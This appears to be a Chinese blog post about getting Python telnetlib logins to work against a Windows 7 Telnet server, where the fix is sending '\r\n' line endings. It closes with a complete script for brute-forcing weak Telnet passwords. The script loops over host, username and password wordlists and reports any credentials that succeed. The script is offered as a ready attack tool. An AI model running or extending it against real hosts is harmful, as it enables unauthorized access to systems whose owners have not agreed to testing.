寫得時候遇到了一個很大的問題,就是我在發送用戶名,接受用戶名就會一直卡住。然后等了好久后提示
recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has closed t’
虛擬機服務器是Win7的 主機客戶也是Win7。
原來代碼是:
1、一開始覺得是因為socket 設置的問題,上網查了很久,也按他們的方法改了,但都不管用。
2、后來覺得是因為讀取行的問題,linux和Windows返回行信息不同,所以沒辦法讀取到,所以將
tn.read_until("login:")
tn.read_until("password:")
都改成
tn.read_until("\n")
結果還是沒用。心疼自己= =
3、於是又找啊找,看到了這篇文章 ,文章作者說:注意:
這個問題將我糾結了好一陣子,最后跟蹤調試發送命令字符串
發現在windows操作系統中發送命令時一定要”\r\n”,不然無法識別命令
於是感覺自己看到了曙光,於是又按着改,但還是無功而返。
4、最終,在這個地方找到了問題的原因。有個回答是:
If you’re using Windows, be sure to add carriage return (\r) before the new line character:
tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’))
我的理解是:在連接Windows操作系統的時候,因為編碼的問題,如果直接 tn.write(user+”\n”) 系統不識別,所以改成 tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’)) 問題即可解決。
Python Telnet弱口令爆破腳本:
#!usr/bin/env python #!coding=utf-8 __author__ = 'zhengjim' import telnetlib def telnet(host,user,pwd): try: tn = telnetlib.Telnet(host,timeout=10) tn.set_debuglevel(2) tn.read_until("\n") tn.write(user.encode('ascii') + "\r\n".encode('ascii')) tn.read_until("\n") tn.write(pwd.encode('ascii') + "\r\n".encode('ascii')) tn.read_all() print '用戶名:' + user + ',密碼:' + pwd + '成功' except: print '失敗' host=open('host.txt') for line in host: host=line.strip('\n') print '開始爆破主機:'+host user=open('user.txt') for line in user: user=line.strip('\n') pwd =open('pwd.txt') for line in pwd: pwd = line.strip('\n') print user + ':'+pwd telnet(host,user,pwd)
目錄下需要host.txt,user.txt,pwd.txt三個文件
不足是代碼比較簡單,而且沒多線程,效率比較低。